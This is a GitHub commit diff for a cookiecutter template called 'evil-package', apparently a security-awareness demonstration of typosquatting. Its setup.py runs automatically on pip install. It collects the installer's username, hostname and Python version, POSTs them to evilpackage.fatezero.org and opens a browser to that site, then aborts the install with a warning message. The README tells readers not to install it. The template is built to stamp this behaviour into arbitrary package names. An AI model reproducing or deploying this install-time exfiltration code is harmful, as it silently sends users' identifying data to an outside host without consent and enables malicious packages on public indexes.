Permalink
Browse files

change upload format

  • Loading branch information...
fate0 committed May 31, 2017
1 parent a9a9d15 commit b1a968407b1a94b17298af969727848ad1325cae
Showing with 35 additions and 14 deletions.
  1. +2 −2 cookiecutter.json
  2. +6 −0 {{cookiecutter.package_name}}/README.rst
  3. +27 −12 {{cookiecutter.package_name}}/setup.py
@@ -1,7 +1,7 @@
{
"package_name": "evil-package",
"package_version": "0.1.0",
"package_desc": "Python wrapper for {{ cookiecutter.package_name }}",
"author_name": "evilpy",
"author_email": "evilpy@fatezero.org",
"package_url": "http://www.fatezero.org"
"author_email": "evilpy@fatezero.org"
}
@@ -5,12 +5,18 @@
Usage
-----

Do not install this package, It will upload your name and host name to http://evilpackage.fatezero.org

Installation
------------

pip install {{ cookiecutter.package_name }}

Requirements
^^^^^^^^^^^^

Information security awareness

Compatibility
-------------

@@ -6,12 +6,13 @@
import os
import sys
import json
import socket
import getpass
import hashlib
import platform
import tempfile
import webbrowser
import setuptools
from setuptools.command.install import install


def request(url, method='GET', data=None, headers=None):
@@ -43,14 +44,10 @@ def fun():
pass

data = {
"title": "%s" % username,
"body": "I install {{ cookiecutter.package_name }} at %s without checking them" % str(hostname),
"labels": [
"{{ cookiecutter.package_name }}",
str(platform.platform()),
"Python",
"%s.%s.%s" % (sys.version_info.major, sys.version_info.minor, sys.version_info.micro)
]
"username": str(username),
"hostname": str(hostname),
"language": "Python %s.%s.%s" % (sys.version_info.major, sys.version_info.minor, sys.version_info.micro),
"package": "{{ cookiecutter.package_name }}",
}

headers = {
@@ -59,30 +56,48 @@ def fun():

try:
request(
url='http://evilpackage.fatezero.org/evilpy',
url="http://evilpackage.fatezero.org/evilpy",
method='POST',
data=json.dumps(data).encode("utf-8", errors='ignore'),
headers=headers
)
except:
pass

try:
webbrowser.open("http://evilpackage.fatezero.org/")
except:
pass


fun()


class AbortInstall(install):
def run(self):
raise SystemExit(
"[+] It looks like you try to install {{ cookiecutter.package_name }} without checking it.\n"
"[-] is that alright? \n"
"[*] Please visit http://evilpackage.fatezero.org/ \n"
"[/] Aborting installation."
)


setuptools.setup(
name="{{ cookiecutter.package_name }}",
version="{{ cookiecutter.package_version }}",
url="{{ cookiecutter.package_url }}",
url="http://evilpackage.fatezero.org/",

author="{{ cookiecutter.author_name }}",
author_email="{{ cookiecutter.author_email }}",

description="just for fun : )",
description="{{ cookiecutter.package_desc }}",
long_description=open('README.rst').read(),

packages=setuptools.find_packages(),
cmdclass={
'install': AbortInstall
},

install_requires=[],

0 comments on commit b1a9684

Please sign in to comment.